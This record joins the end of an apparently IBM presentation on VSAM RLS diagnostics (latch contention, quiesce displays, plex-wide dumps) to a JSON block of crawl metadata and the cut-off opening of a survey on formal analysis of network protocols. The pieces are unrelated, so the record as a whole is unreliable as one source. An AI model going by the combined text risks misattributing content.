Two states: Holder & Waiter - Latches are not shared - The contention display shows - Latch address - Holder and any waiters if the latch is in contention - Elapsed time of contention period - System specific (will not show latches around the plex) - Elapsed time of more than a few seconds is likely a problem - Should be used in conjunction with D GRS,C SMSVSAM Diag – Display Commands - **D SMS,SMSVSAM,DIAG(Contention)** <table> <thead> <tr> <th>TIME</th> <th>SYSTEM</th> <th>MESSAGE</th> </tr> </thead> <tbody> <tr> <td>09.55.29</td> <td>SYSTEM1</td> <td>IGW343I VSAM RLS DIAG STATUS (V.01)</td> </tr> </tbody> </table> <table> <thead> <tr> <th>RESOURCE</th> <th>WAITER</th> <th>HOLDER</th> <th>ELAPSED</th> </tr> </thead> </table> <table> <thead> <tr> <th>TYPE</th> <th>ID</th> <th>JOB NAME ASID</th> <th>TASK ASID</th> <th>TASK</th> <th>TIME</th> </tr> </thead> <tbody> <tr> <td>LATCH</td> <td>7F158C70</td> <td>SMSVSAM 003A 008DA250</td> <td>003A 008D7218</td> <td>00:00:06</td> <td></td> </tr> </tbody> </table> DESCRIPTION: IGWLYSPH - SHM OBJECT POOL | LATCH | 7F151E78 | SMSVSAM 003A 008D7218 | 003A 008DC1C8 | 00:00:21 | DESCRIPTION: IGWLYDTS - SHM OBJECT POOL | LATCH | 7BAD43B8 | SMSVSAM 003A 008DC1C8 | 002D 007F3000 | 00:19:09 | | LATCH | 7BAD43B8 | SMSVSAM 003A 008D5A48 | 002D 007F3000 | 00:22:09 | | LATCH | 7BAD43B8 | SMSVSAM 003A 008D6938 | 002D 007F3000 | 00:33:23 | | LATCH | 07F1B1D0 | SMSVSAM 003A 008D64F8 | 003A 008D6CF0 | 01:47:20 | | LATCH | 07F1D3B8 | SMSVSAM 003A 008D6CF0 | 0000 00000000 | 11:23:30 | SMSVSAM Diag – Display Commands • **D SMS,SMSVSAM,QUIESCE** - Displays outstanding quiesce activity for SMSVSAM - A Quiesce event is a decision to shutdown / allow CICS access to an RLS dataset - Any CICS regions participating in the event will be in the display - If there is not an event in progress, IGW540I rejects the command - Invaluable to determine CICS regions holding up a quiesce request - CICS regions with 00.00.00 in the “completed” section are likely in trouble • Dump these regions with SMSVSAM prior to termination - Often the region can be terminated instead of SMSVSAM • Allows the quiesce event to finish • Saves a plex-wide SMSVSAM outage SMSVSAM Diag – Display Commands - **D SMS,SMSVSAM,QUIESCE** - With quiesce activity IGW540I 13.30.45 DISPLAY SMS,SMSVSAM,QUIESCE MVS1 SPHERE NAME: DLEHR.TEST1 SYSTEM NAME: MVS1 START TIME: .27.50 TOTAL ELAPSE TIME: 57.02.55 PARTICIPATING SUB-SYSTEM STATUS: SCHEDULED: COMPLETED: ELAPSE: SUB-SYSTEM NAME: CI1AORP1 .27.50 00.00.00 57.02.55 SUB-SYSTEM NAME: CI1AORP2 .27.50 .27.50 00.00.00 - Without quiesce activity IGW540I 07.54.28 DISPLAY SMS,SMSVSAM,QUIESCE DISPLAY SMSVSAM QUIESCE SPHERE IS REJECTED. NO QUIESCE EVENTS ARE ACTIVE ON THIS SYSTEM. SMSVSAM Diag – Hang / Wait in RLS • Hang / wait conditions in RLS • May be related to activities such as • Accessing data sets for RLS • Starting / stopping of RLS client spaces (e.g. CICS) • Starting / stopping of SMSVSAM • SMSVSAM commands not responding • Detecting / pinpointing this condition requires • Display command output • Plex-wide dumps of SMSVSAM and related client spaces SMVSAM Diag – Hang / Wait in RLS • Display commands to run • D SMS,SMVSAM,ALL • D SMS,TRANVSAM,ALL (if TVS is in use) • D SMS,SMVSAM,DIAG(CONTENTION) (system scope) • D SMS,SMVSAM,QUIESCE (system scope) • D GRS,C (system scope) • D XCF,STR,STRNM=[IGWLOCK00 | lock_structure] • D XCF,STR,STRNM=[cachestructurename] SMSVSAM Diag – Hang / Wait in RLS - Plex-wide dumps - Most required info is in SMSVSAM address and data spaces - Both SMSVSAM and MMFSTUFF dataspaces are needed - SMSVSAM is thoroughly plex-wide so the plex must be dumped - Creating an IEADMCxx parmlib member is recommended - Example of a plex-wide parmlib definition: ``` COMM=(SMSVSAM hang) JOBNAME=(MASTER, SMSVSAM), DSPNAME=('SMSVSAM'.*), SDATA=(ALLNUC, COUPLE, CSA, GRSQ, LPA, LSQA, PSA, RGN, SUM, SQA, SWA, TRT, XESDATA), REMOTE=(SYSLIST=(MASTER_SMSVSAM), DSPNAME, SDATA) ``` Internal logic errors - Surfaced as an ABEND0F4 with unique RC and RSN - SVC dump taken (typically plex-wide) - Depending on severity, processing may be stopped - Dumps may be accompanied by syslog flower box - IGW400I / IGW405I - VRM request type and key - Jobname / data set name - ASID / TCB - User and data space RPL - VRM footsteps - When encountered, necessary doc includes - Plex-wide 0F4 dumps - OPERLOG - Plex-wide software detail EREP reports (LOGREC) RLS Maintenance and References Maintenance and References – PSP Bucket • The RLS PSP bucket is on the web at: • 'Search for: SMSVSAM' • Maintenance organized by release • Upgrade ZOSV1R11, Subset DFSMS • Upgrade ZOSV1R12, Subset DFSMS • Upgrade ZOSV1R13, Subset DFSMS References - VSAM Demystified - SG24-6105-01 - z/OS V1R13 DFSMSdfp Storage Administration - SC26-7402-16 - z/OS V1R13.0 DFSMS: Using Data Sets - SC26-7410-11 - z/OS MVS System Management Facilities - SA22-7630-24 Acknowledgments • Special Thanks to the following people for their help • DFSMS RLS Level 2 and Development teams • Doug Lehr for much of the basis of this presentation • Terri Menendez for her work on the Buffer Performance and diagnostic guidelines • Kathleen Ting and Pooja Bhargava for their work with RMF III • Our awesome clients who trust us with their data and help to ensure value is regularly driven back into the product! Conclusion • RLS performance increases as a result of shortening the I/O path. • Reducing time in I/O can be best accomplished when • Data is in the buffers • Data is in the cache structures on the coupling facility • Reducing CPU utilization at the data set level is another important means of performance improvement. • Better data set tuning • Avoid serialization intensive situations • Take advantage of offerings in the SMS configuration DFSMS Basics: VSAM VSAM RLS Best Practices How to leverage VSAM RLS best practices and performance in your environment David LeGendre, dlegendr@us.ibm.com Session: 10967
{"Source-Url": "https://share.confex.com/share/118/webprogram/Handout/Session10967/RLS_Best_Practices_Share_2012_Atlanta.pdf", "len_cl100k_base": 13480, "olmocr-version": "0.1.53", "pdf-total-pages": 66, "total-fallback-pages": 0, "total-input-tokens": 97666, "total-output-tokens": 15180, "length": "2e13", "weborganizer": {"__label__adult": 0.0004487037658691406, "__label__art_design": 0.0006194114685058594, "__label__crime_law": 0.00045609474182128906, "__label__education_jobs": 0.001983642578125, "__label__entertainment": 0.00021755695343017575, "__label__fashion_beauty": 0.00020956993103027344, "__label__finance_business": 0.0019130706787109375, "__label__food_dining": 0.0002651214599609375, "__label__games": 0.0011892318725585938, "__label__hardware": 0.0243988037109375, "__label__health": 0.0004565715789794922, "__label__history": 0.0003330707550048828, "__label__home_hobbies": 0.00024247169494628904, "__label__industrial": 0.0025806427001953125, "__label__literature": 0.0002734661102294922, "__label__politics": 0.0003445148468017578, "__label__religion": 0.0005254745483398438, "__label__science_tech": 0.191162109375, "__label__social_life": 0.00011497735977172852, "__label__software": 0.1470947265625, "__label__software_dev": 0.6240234375, "__label__sports_fitness": 0.0003688335418701172, "__label__transportation": 0.0004794597625732422, "__label__travel": 0.0002081394195556641}, "weborganizer_max": "__label__software_dev", "avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_ratio": [[0, 37926, 0.05695]], "fineweb_edu_fasttext_gt2__fineweb_edu_fasttext_gt2__score": [[0, 37926, 0.07014]], "ft_lang_id_en_doc_v2__ft_lang_id_en_doc_v2__en": [[0, 37926, 0.72722]], "google_gemma-3-12b-it_contains_pii": [[0, 174, false], [174, 1180, null], [1180, 3083, null], [3083, 4915, null], [4915, 5311, null], [5311, 5610, null], [5610, 5893, null], [5893, 5942, null], [5942, 6324, null], [6324, 6897, null], [6897, 7118, null], [7118, 7792, null], [7792, 8117, null], [8117, 8927, null], [8927, 9620, null], [9620, 9654, null], [9654, 10184, null], [10184, 10783, null], [10783, 11112, null], [11112, 11671, null], [11671, 12492, null], [12492, 12945, null], [12945, 13503, null], [13503, 13917, null], [13917, 14336, null], [14336, 14666, null], [14666, 15306, null], [15306, 15652, null], [15652, 16345, null], [16345, 16666, null], [16666, 17360, null], [17360, 18010, null], [18010, 18430, null], [18430, 18941, null], [18941, 19276, null], [19276, 19684, null], [19684, 19709, null], [19709, 20280, null], [20280, 20845, null], [20845, 21140, null], [21140, 21666, null], [21666, 22123, null], [22123, 23440, null], [23440, 24823, null], [24823, 26180, null], [26180, 27994, null], [27994, 28191, null], [28191, 29031, null], [29031, 29879, null], [29879, 29900, null], [29900, 30343, null], [30343, 31653, null], [31653, 32230, null], [32230, 33238, null], [33238, 33925, null], [33925, 34505, null], [34505, 34921, null], [34921, 35250, null], [35250, 35801, null], [35801, 36282, null], [36282, 36313, null], [36313, 36631, null], [36631, 36853, null], [36853, 37297, null], [37297, 37753, null], [37753, 37926, null]], "google_gemma-3-12b-it_is_public_document": [[0, 174, true], [174, 1180, null], [1180, 3083, null], [3083, 4915, null], [4915, 5311, null], [5311, 5610, null], [5610, 5893, null], [5893, 5942, null], [5942, 6324, null], [6324, 6897, null], [6897, 7118, null], [7118, 7792, null], [7792, 8117, null], [8117, 8927, null], [8927, 9620, null], [9620, 9654, null], [9654, 10184, null], [10184, 10783, null], [10783, 11112, null], [11112, 11671, null], [11671, 12492, null], [12492, 12945, null], [12945, 13503, null], [13503, 13917, null], [13917, 14336, null], [14336, 14666, null], [14666, 15306, null], [15306, 15652, null], [15652, 16345, null], [16345, 16666, null], [16666, 17360, null], [17360, 18010, null], [18010, 18430, null], [18430, 18941, null], [18941, 19276, null], [19276, 19684, null], [19684, 19709, null], [19709, 20280, null], [20280, 20845, null], [20845, 21140, null], [21140, 21666, null], [21666, 22123, null], [22123, 23440, null], [23440, 24823, null], [24823, 26180, null], [26180, 27994, null], [27994, 28191, null], [28191, 29031, null], [29031, 29879, null], [29879, 29900, null], [29900, 30343, null], [30343, 31653, null], [31653, 32230, null], [32230, 33238, null], [33238, 33925, null], [33925, 34505, null], [34505, 34921, null], [34921, 35250, null], [35250, 35801, null], [35801, 36282, null], [36282, 36313, null], [36313, 36631, null], [36631, 36853, null], [36853, 37297, null], [37297, 37753, null], [37753, 37926, null]], "google_gemma-3-4b-it_v2tag__is_academic_paper": [[0, 5000, false], [5000, 37926, null]], "google_gemma-3-4b-it_v2tag__is_class_syllabus": [[0, 5000, false], [5000, 37926, null]], "google_gemma-3-4b-it_v2tag__is_completion_certificate": [[0, 5000, false], [5000, 37926, null]], "google_gemma-3-4b-it_v2tag__is_court_notice": [[0, 5000, false], [5000, 37926, null]], "google_gemma-3-4b-it_v2tag__is_homework_assignment": [[0, 5000, false], [5000, 37926, null]], "google_gemma-3-4b-it_v2tag__is_news_article": [[0, 5000, false], [5000, 37926, null]], "google_gemma-3-4b-it_v2tag__is_public_order": [[0, 5000, false], [5000, 37926, null]], "google_gemma-3-4b-it_v2tag__is_resume_cv": [[0, 5000, false], [5000, 37926, null]], "google_gemma-3-4b-it_v2tag__is_test_or_quiz": [[0, 5000, false], [5000, 37926, null]], "google_gemma-3-4b-it_v2tag__is_textbook": [[0, 5000, false], [5000, 37926, null]], "pdf_page_numbers": [[0, 174, 1], [174, 1180, 2], [1180, 3083, 3], [3083, 4915, 4], [4915, 5311, 5], [5311, 5610, 6], [5610, 5893, 7], [5893, 5942, 8], [5942, 6324, 9], [6324, 6897, 10], [6897, 7118, 11], [7118, 7792, 12], [7792, 8117, 13], [8117, 8927, 14], [8927, 9620, 15], [9620, 9654, 16], [9654, 10184, 17], [10184, 10783, 18], [10783, 11112, 19], [11112, 11671, 20], [11671, 12492, 21], [12492, 12945, 22], [12945, 13503, 23], [13503, 13917, 24], [13917, 14336, 25], [14336, 14666, 26], [14666, 15306, 27], [15306, 15652, 28], [15652, 16345, 29], [16345, 16666, 30], [16666, 17360, 31], [17360, 18010, 32], [18010, 18430, 33], [18430, 18941, 34], [18941, 19276, 35], [19276, 19684, 36], [19684, 19709, 37], [19709, 20280, 38], [20280, 20845, 39], [20845, 21140, 40], [21140, 21666, 41], [21666, 22123, 42], [22123, 23440, 43], [23440, 24823, 44], [24823, 26180, 45], [26180, 27994, 46], [27994, 28191, 47], [28191, 29031, 48], [29031, 29879, 49], [29879, 29900, 50], [29900, 30343, 51], [30343, 31653, 52], [31653, 32230, 53], [32230, 33238, 54], [33238, 33925, 55], [33925, 34505, 56], [34505, 34921, 57], [34921, 35250, 58], [35250, 35801, 59], [35801, 36282, 60], [36282, 36313, 61], [36313, 36631, 62], [36631, 36853, 63], [36853, 37297, 64], [37297, 37753, 65], [37753, 37926, 66]], "pipe_delimited_lines_v1__pipe_delimited_lines_v1__pipe_delimited_lines_ratio": [[0, 37926, 0.14246]]}
olmocr_science_pdfs
2024-12-09
2024-12-09
786b2d4cea4e058c49701f2abc1dd779e7b2d653
3-24-2010 Formal Analysis of Network Protocols Anduo Wang University of Pennsylvania Follow this and additional works at: https://repository.upenn.edu/cis_reports Recommended Citation This paper is posted at ScholarlyCommons. https://repository.upenn.edu/cis_reports/924 For more information, please contact repository@pobox.upenn.edu. Formal Analysis of Network Protocols Abstract Today’s Internet is becoming increasingly complex and fragile. Current performance centric techniques on network analysis and runtime verification have become inadequate in the development of robust networks. To cope with these challenges there is a growing interest in the use of formal analysis techniques to reason about network protocol correctness throughout the network development cycle. This talk surveys recent work on the use of formal analysis techniques to aid in design, implementation, and analysis of network protocols. We first present a general framework that covers a majority of existing formal analysis techniques on both the control and routing planes of networks, and present a classification and taxonomy of techniques according to the proposed framework. Using four representative case studies (Metarouting, rcc, axiomatic formulation, and Alloy based analysis), we discuss various aspects of formal network analysis, including formal specification, formal verification, and system validation. Their strengths and limitations are evaluated and compared in detail. Comments This technical report is available at ScholarlyCommons: https://repository.upenn.edu/cis_reports/924 Abstract Today’s Internet is becoming increasingly complex and fragile. Current performance centric techniques on network analysis and runtime verification have became inadequate in the development of robust networks. To cope with these challenges there is a growing interest in the use of formal analysis techniques to reason about network protocol correctness throughout the network development cycle. This talk surveys recent work on the use of formal analysis techniques to aid in design, implementation, and analysis of network protocols. We first present a general framework that covers a majority of existing formal analysis techniques on both the control and routing planes of networks, and present a classification and taxonomy of techniques according to the proposed framework. Using four representative case studies (Metarouting, rcc, axiomatic formulation, and Alloy based analysis), we discuss various aspects of formal network analysis, including formal specification, formal verification, and system validation. Their strengths and limitations are evaluated and compared in detail. ## Contents 1 **Introduction** 3 2 **Problem Statement** 3 2.1 Challenges to Today’s Internet 4 2.2 Formal Methods in Network Protocol Development 5 3 **Taxonomy of Formal Network Analysis** 6 3.1 Formal Specification 6 3.2 Formal Verification 8 3.3 System Validation 8 3.4 Summary 9 4 **Metarouting: Routing Policy Construction with Convergence Guarantee** 10 4.1 Backgound on BGP 11 4.2 Metarouting Algebras 11 4.3 Metarouting Convergence Property 13 4.4 Evaluation 13 5 **Detecting BGP configurations faults with rcc** 14 5.1 Overview 15 5.1.1 Configuration Preprocessing and Parsing 15 5.1.2 Correctness Specification and Violation 15 5.1.3 Correctness Constraints and Faults Detection 16 5.2 Evaluation 16 6 **Axiomatic Basis for Communication** 17 6.1 Basics: Abstract Switching and Forwarding 17 6.2 Meta-language for Packet Forwarding 18 6.3 Formal Semantics in Hoare Logic 20 6.4 Evaluation 21 7 **Addressing Analysis with Alloy** 22 7.1 Overview 22 7.1.1 Connection and Interoperation Specification in Alloy 22 7.1.2 Requirement Analysis in Alloy 23 7.2 Evaluation 24 8 **Discussion** 24 8.1 Comparison 25 8.1.1 Comparison of formal specification techniques 26 8.1.2 Comparison of system validation and formal verification 27 8.2 Challenges 27 9 **Acknowledgments** 28 1 Introduction Today’s Internet is increasingly complicated and fragile. Internet forwarding protocols are complicated by middleboxes [27] such as NAT (network address translator), and firewalls which are introduced to address fast growing functionality demands unavailable in the current network hierarchy. As a result, it has become difficult to understand even the elementary concepts such as naming, addressing, and end-to-end connection. On the other hand, in the control plane, the single de-facto Internet protocol BGP (Boarder Gateway Protocol) utilizes routing policies to express the diverse traffic interests of the constituent heterogeneous sub-networks. However, this indispensable policy configuration is error-prone, and misconfiguration at one single network node can cause serious persistent network-wide failures. Regarding these difficulties, the traditional performance centric bottom-up approach and runtime verification techniques have become inadequate in network protocols development. To cope with the staggering complexity, inherent network heterogeneity, and network scale, there has been growing interests in the use of formal methods to aid in the design, implementation, and verification. With the help of existing formal analysis tools and emerging network models, researchers are beginning to examine network functionality and logical properties to facilitate network protocol development. In design phase, specialized meta-theory [25, 9, 11] and general logic based formalism [15] are introduced to formally specify fundamental aspects of network functionality such as routing and forwarding. These network-specific formalisms, when combined with external verification tools such as theorem provers [2, 23, 1], model checkers [4], and SMT/SAT solvers [28, 29] enable the formal verification of network standard and design. The resulting sound design can be further used to guide network system development. In addition, lightweight practical validation tools based on logical constraints checking [6], states exploration [22, 16] have been applied to unmodified real-world network implementations to explore network-wide faults. The rest of the paper is organized as follows. We start with problem statement in Section 2 by reviewing the challenges to today’s network. We also present a general formal network analysis framework that accommodates most present-day formal analysis practice throughout network development cycle. Section 3 provides a taxonomy of formal network analysis techniques and existing systems according to the proposed network analysis framework. We then present four representative systems that cover different aspects of formal network analysis: we discuss metarouting in Section 4, routing configuration checker rcc in Section 5, axiomatic network formulation in Section 6 and Alloy based analysis in Section 7. Finally, Section 8 reviews all the mechanisms and discusses challenges. 2 Problem Statement To scope our survey paper, we begin with a problem statement by reviewing the challenges and complexity in today’s Internet. We then introduce the use of formal networking analysis to aid in network protocol development. We also identify networking properties that are best treated with formal analysis. 2.1 Challenges to Today’s Internet Today’s Internet has evolved from the original TCP/IP protocol suite to a global heterogeneous inter-network that provides ever growing network services. The main functionalities involved in any network service include: (1) addressing mechanisms that identify network nodes; (2) routing protocols that efficiently discovers loop-free path discovery through the network; and (3) the actual packet forwarding process, implemented at end-nodes (intermediary nodes) with a multi-layer hourglass protocol stack to accommodate network heterogeneity. To review the Internet service architecture, consider a typical packet (message) delivery, shown in figure 1. The message traversal from the creation node A to consumption node B can be broken into the following steps. First, node A needs to identify itself and the destination node by some unique communication addresses; Next, on node A, the message data is passed down the protocol stack where encapsulation at each layer is repeatedly performed by pre-pending new prefix head to carry the corresponding protocol head; Then, based on IP protocol header, the message is forwarded to node B via a number of intermediary forwarding nodes. The actual path along which the message traversed is decided by routing protocols; Finally, node B, upon receiving the message, performs de-encapsulation (removing protocol head at each layer) and passes it up to the application process for interpretation. Having presented intuitively the concepts of network routing, addressing and forwarding, we now discuss the challenges respectively: Routing Today’s Internet is partitioned into independently administrated autonomous systems (AS). IP routing decides the sequences of intermediary forwarding nodes en-route to the destination node through administrative domains. To express the constituent AS’s diverse traffic interests (e.g. competing peers, paid customer-provider relationship, backups service etc.), the interdomain IP routing protocol i.e. BGP (Boarder Gateway Protocol) protocol utilizes rich policy control mechanism based on ranking and filtering (i.e. BGP import and export policy). However, this indispensable routing policy control ability makes BGP staggeringly complicated: BGP policy is essentially configured at and kept private to each AS and the low-level policy configuration process is error prone. The locally distributed policy misconfiguration can cause serious end-to-end connection failures across administrative boundaries; Even worse, though standard IGP (Inter-Gateway Protocols, running within an AS) such as path vector protocol normally comes with convergence guarantee, the static analysis of BGP convergence is NP-hard [10]. As a result, network-wide properties such as network connectivity in today’s Internet is hard to understand. ### Addressing and Forwarding IPv4 addressing schema associates with each network node a globally unique two-level hierarchical address: The network part of the address identifies the physical sub-network the node belongs to, whereas the host part uniquely identifies the host. This addressing schema has become inadequate with regard to increasing address demands and new functionality. Middleboxes [27] such as NATs are a common solution to alleviate IPv4 address exhaustion. However, middleboxes complicates the current network architecture: The addresses assigned by NAT is no longer globally unique and static. At the same time, middleboxes also complicates protocol layering, the only means for functionality abstraction and modularization in implementing forwarding functionality. In addition, network addressing and forwarding are also obscured by emerging mobile networks, overlay networks etc. Even basic network properties such as end-to-end connectivity are difficult to define and reasoning about. #### 2.2 Formal Methods in Network Protocol Development In today’s fast growing and increasingly complicated Internet, traditional performance centered bottom-up network engineering is facing unprecedented challenges. The “stimulus-response” style system testing and runtime verification have become inadequate in network development where a single corner case error at one network node can cause serious network-wide failures. With the help of emerging formal network models and established formal analysis tools, researchers are beginning to look at the global logical network properties to facilitate protocol development. Formal methods are a particular kind of mathematical-based techniques that improve network software qualities with correctness guarantee by rigorous reasoning. Formal methods have been applied throughout the network development cycle. As shown in Figure 2 in design phase, formal specification and verification help deriving sound design, which can be further used to guide the real implementation in formal protocol development. Based on formal specification obtained from network requirement, design, or standard, a full formal verification process can be invoked to establish sound and complete correctness proof. An alternative lightweight analysis-first-prove-last style model-based analysis can be used to find good design instance or counterexamples to facilitate rapid network development. Finally, after system implementation/coding, practical formal validation tools are available to check unmodified system implementation to detect potential system faults against certain properties such as safety, liveness, and other logic invariants. Before presenting the taxonomy and classification of formal techniques according to the above formal network analysis process, it is informative to first identify some logical correctness properties that are particularly suited for formal analysis. Though equally crucial to network correctness, performance related properties and network dynamics are not considered in this survey. In general, the successful delivery of any network service relies on the correctness of network addressing, routing, and forwarding. Network correctness properties can then be naturally divided as follows: (1) For addressing, the analysis task is to prove that the target addressing schemes continue to provide valid network node address adequate for communication in face of middleboxes and network mobility; (2) For routing, the key problem is to verify that BGP can efficiently discover loop-free routing paths; (3) For the actual packet forwarding within current Internet architecture, the correctness properties address various architectural invariants and forwarding operations. 3 Taxonomy of Formal Network Analysis Having presented the major challenges to today’s Internet and the proposed formal analysis process throughout network development (Figure 2), we present a classification and taxonomy of formal network analysis. As shown in figure 3 on the top level, based on the application point in network development, formal analysis can be divided into three categories: formal specification, formal verification, and system validation. For each category, we further identify a list of enabling techniques, and representative systems. 3.1 Formal Specification Taking conceptual network requirement or standard as input, formal network specification can significantly improve the understanding of network requirement/standards, and help detecting problems early at design phase before investment in implementation. Formal specification often outputs a formal design that either meets specified network behaviors and constraints (in a correctness-by-construction) or is of a more checkable/verifiable form for formal verification. Existing formal specification takes one of the following forms: (1) an axiomatic semantics framework with network-specific reasoning support; (2) rigorously defined meta models with added network properties; and (3) programming frameworks that leverage some high-level declarative executable specification language. The major benefits of formal network specification are as follows: First, the chosen specification formalism not only forces the human user to express the target network problem in a rigorous way (e.g. trivial mistakes can be caught by type-checking), but also supplies/suggests useful conceptual modeling and specification building constructs. Moreover, formal specification, when adapted to a form recognizable by existing verifier/analyzer, enables mechanized correctness checking in formal verification. Unlike verification and validation, formal specification often operates at a high-level with a focus on pure network functionality and logical correctness, while the low-level implementation complexity (performance, reliability, complication of programming language semantics etc.) is abstracted away. Many formal network analysis efforts are found in formal specification. Now, we describe representative techniques for the network aspects: routing, forwarding and addressing respectively. - **Routing**: The correctness property of Internet (IP) routing as fast convergence and global network connectivity has been intensively studied [25, 5, 3]. Early formal specification of routing utilizes the default logic of existing theorem provers HOL [3], Nuprl [7], PVS etc. More recently, network-specific axiomatic semantics frameworks and meta-theories are developed. For example, metarouting [9, 25] etc. introduces the use of algebraic specification model with added convergence guarantee. - **Forwarding and addressing**: In contrast to specialized routing model, general-purpose axiomatic framework [15, 13] extended with network forwarding and control primitives are used to specify forwarding and addressing mechanisms. The key challenge is to handle the layered protocol and packet forwarding process implemented at end-nodes as a set of forwarding and control operations. The semantics of the enabling network primitive operations are rigorously given in Hoare-style logic. **Formal Development** In addition to formal verification, formal specification often enables formal development by producing a sound guiding design. The problem of preserving the correct design functionality and properties in system implementation is a difficult and open one. Nevertheless, many formal network specification frameworks are integrated with a meta-compiler (interpreter) that helps generate (a large portion of) executable system implementation. An additional key enabling technique is the existence of extensible networking platform (environment) such as Xorp [12] and Click [18], which are originally designed for rapid networking prototyping by providing primitive implementation elements. By utilizing such platforms, the system code synthesize task implemented by the meta-compiler (interpreter) is now reduced to a mapping between formal objects in sound design and the corresponding implementation elements. Finally, moderate inputs on glue code are often required to synthesize the executable system. The third class of specification technique based on emerging declarative programming frameworks [26, 21, 20, 19] offers an alternative approach by utilizing a high-level logical (or functional) programming language that serves as both the formal specification language and the executable system implementation. For example, a universal forwarding engine has been synthesized in Click from verified design constructed in axiomatic framework [15]. Similarly, sound design constructed from routing algebra meta model called metarouting has also been used to derive routing implementation in Xorp with the help of existing metarouting interpreter. Obviously, the correctness of the derived system implementation relies on both the design and the translation process implemented by the meta-compiler (meta-interpreter). Though the correctness of meta-compiler (interpreter) is often left un-verified, the formal development process still helps improve the quality of the resulting protocol with added benefits. For example, it enables programmers to focus on high-level system composition in a formal specification language that better relates to desired high-level functionality. Such high-level design decision and structure are often reflected in the derived low-level system implementation. 3.2 Formal Verification Based on the types of chosen formal specification framework, the following formal verifications are enabled: (1) for logical-based specification framework (e.g. axiomatic semantics) and declarative programming frameworks, the correctness can be established through deductive reasoning in external formal verifier/proofof assistant such as theorem prover, model checker or SMT/SAT solvers; (2) for specialized network model, specific correctness properties are automatically derivable in the chosen model. This is also an example of correctness-by-construction approach. A major limitation of the above full formal software verification is that it requires high initial investment, expertise in heavy formal methods tools as well as deep understanding of the network problems. Even when the verification succeeds, the verified formal results and arguments are decoupled from real system implementation and can be hardly reused. In general, the extremely expensive non-incremental formal verification is restricted to well-understood network standard and does not scale well to real-world network development. To mitigate these difficulties, an alternative lightweight approach is emerging in software verification. The idea is to reduce verification efforts to the minimal by developing tools that incorporate specialized moderate meta models and fully-automatic analysis procedures that deal with a subset of verification properties in an analysis-first-prove-last manner. Example tools such as Z and Alloy [14] have been applied in formal network verification [30] recently. 3.3 System Validation In contrast to formal specification and verification, static system validation is performed at implementation level, and usually before deployment in real network. In the first type of static validation based on constraints checking, system faults are explored by checking implementation against correctness properties as invariants or constraints. Validating arbitrary system implementation is hard, formal validation technique often imposes either pre-processing or implementation constraints: (1) to check wider range of unmodified implementation, a pre-processing step is desirable Network problems/properties | Techniques/systems --- | --- Routing | Specification of routing policies | Nettle [25], Metarouting [25, 9], Theorem proving [5, 7], Model checking [3], Declarative networking [21, 20, 19] Static BGP convergence analysis | Metarouting, Declarative networking, Theorem proving BGP policy configuration faults detection | rcc Invariants checking of Chord | MaceMC [16, 17] Forwarding | Message deliverability | Axiomatic formulation [15] Addressing | Reachability & returnability | Alloy [39] Table 1: Taxonomy of Networking Problems to transform the real system into an intermediary and more checkable form; or (2) programming templates or guidelines that constrain the way network system is implemented. The purpose is to help mask irrelevant implementation complexity and extract implementation structures that reflect high-level functionalities of interests. Next, correctness or invariants capturing the correctness properties are evaluated on implementation. In general, the invariants (constraints) are either supplied by network operator or hard-wired in the validation tool, and are usually expressed in some form of logic. A second static validation approach utilizes exhaustive proof space searching algorithm such as model checking to verify temporal invariants. Note that, though we have included dynamic system validation technique such as runtime verification and testing in Figure 3 for completeness, strictly speaking, they are not considered as formal network analysis. Routing configuration checker rcc [6] is an example of constraints checking based validation tool. rcc detects routing policy faults in real-world BGP configurations. rcc automatically identifies constraints violation that catches a large set of BGP path and route anomalies. On the other hand, MaceMC, cmc [24, 17, 22] are examples of model checking based validation tools. MaceMC, by enforcing the use of its programming templates/guidelines, performs bounded model checking of liveness and safety properties on unmodified network implementations. Unlike formal specification and validation, to deal with the staggering complexity found only in system implementations, formal validation is usually designed to be fully automatic, and performs on a best-effort basis that is usually neither sound nor complete. The types of checkable properties are also restricted, and real deductive reasoning requiring non-trivial user guidance is not adopted in most cases. Nevertheless, formal validation is an invaluable technique that can be easily introduced to networking developer without inuring extra effort and performance overhead. 3.4 Summary In Table 1 we highlight the representative network problems and properties studied in present-day formal network analysis for network routing, forwarding and addressing respectively. For each class of network problems and properties, representative techniques and systems are also listed. As shown in the table, most formal analysis efforts are found in network routing problems whereas the formal treatment of network forwarding and addressing is only starting to emerge. The table also tells us that for the relatively well-studied routing problem, most formal attempts deal with specification of routing policies, followed by formal analysis of particular properties such as routing convergence, and that only very few practice validation tools are found for specific routing properties. We argue that this is consistent with the development and application of formal analysis in networking: Formal specification which also serves as the basis for formal analysis is the most widely used formal techniques. Based on formal specification that is particularly amenable for analysis, fewer formal analysis tools are developed. Finally, due to the staggering complexity and difficulty in validating real-world routing protocols, even fewer practical validating tools that perform directly on systems implementations are proposed and developed. It is not feasible to cover all the related literature in this survey. We are going to selectively focus on some representative ones (shown in bold), including: (1) Metarouting, an algebraic framework for routing policy construction with convergence guarantee; (2) rcc, a constraints checking based routing policy checker that detects real BGP configuration faults; (3) Axiomatic formulation of networking forwarding functionality; and (4) Addressing analysis in interoperation networks with Alloy. 4 Metarouting: Routing Policy Construction with Convergence Guarantee Metarouting is an algebraic meta-model for routing policy with added property of convergence guarantee. Metarouting attempts to facilitate the design and configuration of routing protocols by providing an algebraic metalanguage that encompasses a large family of routing policies. The major benefit of using metarouting is that the difficult (NP hard [10]) convergence property can be automatically derived. Targeted users include: (1) network designer who are interested in the design and development of new routing protocols and modification to existing protocols; (2) network administrators who are responsible for BGP policy configuration to realize the administrative traffic goals and achieve global connectivity. Metarouting makes the following two contributions: - Metarouting offers an algebraic metalanguage that captures a large family of routing policies. The metalanguage features two types of algebraic objects: (1) base routing algebras that describe common optimal routing policy and global policy guidelines over single path attribute; and (2) algebra composition operator that generates compound routing policy over multiple path attributes. - Metarouting metalanguage is shown to preserve routing convergence. First, a specific algebra property called monotonicity is identified and proved to be the sufficient condition for routing protocol convergence. Then monotonicity property is shown to be held by base algebras and preserved by composition operator. Metarouting algebras with the added convergence property are particularly useful for the specification of BGP policies, the static convergence analysis of which have been proved to be NP-hard. In this survey, we use BGP policies as working examples to illustrate metarouting and its application. 4.1 Background on BGP Before presenting metarouting specification of BGP policy, it is insightful to briefly review BGP protocol and BGP policy control. Conceptually, BGP protocol can be decomposed into two routing components: *policy* and *mechanism*. Routing policy describes how routes are measured (i.e. what attributes are attached to each routing path?) and compared (i.e. how route attributes are ranked?). Whereas the routing mechanism (i.e. routing algorithm) maintains adjacent 